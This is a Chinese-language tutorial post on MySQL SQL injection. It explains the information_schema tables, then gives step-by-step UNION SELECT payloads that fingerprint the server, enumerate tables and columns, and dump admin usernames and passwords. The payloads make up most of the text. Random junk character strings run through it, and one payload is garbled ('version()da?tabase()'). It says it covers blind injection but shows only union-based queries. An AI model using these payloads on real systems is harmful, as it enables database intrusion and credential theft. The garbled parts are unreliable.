mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

: l* g7 l9 J* j" B, {学习盲注前先了解下 IFORMATION_SCHEMA 库

Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称
; P" c3 P$ S$ i
|TABLES ->存储表名
1 b/ L) l  X# _0 R: U- [( n  M|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名
/ n. b8 n" P/ k" B8 b( @
% n9 B! n; P/ {|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
# B2 t7 A) \% F|---字段：TABLE_NAME ->存储所属表的名称

! V9 ^  J  a- }+ P+ ||---字段：COLUMN_NAME ->该字段的名称
* K5 S# e7 w0 |  G) Y

) t# t7 W" k, g. _6 O1 z
###########################################################################

0x001 获取系统信息:
7 r- p6 v4 X: b/ m/ @0 Y" y: F
& [% r# H3 G( Q2 W6 }" z* Funion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*

@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
% x" X* O2 \9 E7 G" Ddatabase() 当前数据库名称
0x3c62723e 换行HEX值
& p1 w2 e4 z* j
1 _( T2 B  }7 o) D*/
* M2 t5 q# J& c' \


######################################################################

# Y8 H' E$ z. Q) z; s/ @0x002 获取表名

5 M5 t! a$ ^) i8 Tunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*



/*

" A; S( ], H( X0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
2 R6 R! p0 J+ L' h
*/

######################################################################
: V" o$ v) E4 {# k9 H
% Y5 N0 Z4 t0 T# \

0 d/ Z% h# k$ i7 S0x003 获取字段
, X0 m( A/ ?; `2 g! I* Q9 S" G4 v
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
* \; P( f4 Y  g1 B* R) n
/*
# t0 |( |+ t8 Y
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

; B/ W, K6 C4 d' J. @0x61646d696e ->选择一个表

. J1 w: c( Q, e4 t! _( e0x67617264656e ->数据库名
' \% g0 w/ _( l7 B: L% ]* f
*/

#####################################################################


6 `0 a" k3 q4 Q6 }
0x004 获取数据
* Y5 [, M' K2 t; N
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

+ {: _$ _6 u- p( r0 z" wunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin

, p0 Y- _/ o2 ^4 H0 \
: k+ Q- p4 M2 k, @/ T; G
# q9 V/ a# t3 n) |, O/*

0x3c62723e 换行符号HEX编码
. }6 B3 e& `$ y" ^4 G6 J
" w% P$ D' G! egroup_concat 同时获得该字段所有数据
6 O" l9 G. [# g) f
*/

7 F5 A" N! }" p" u- |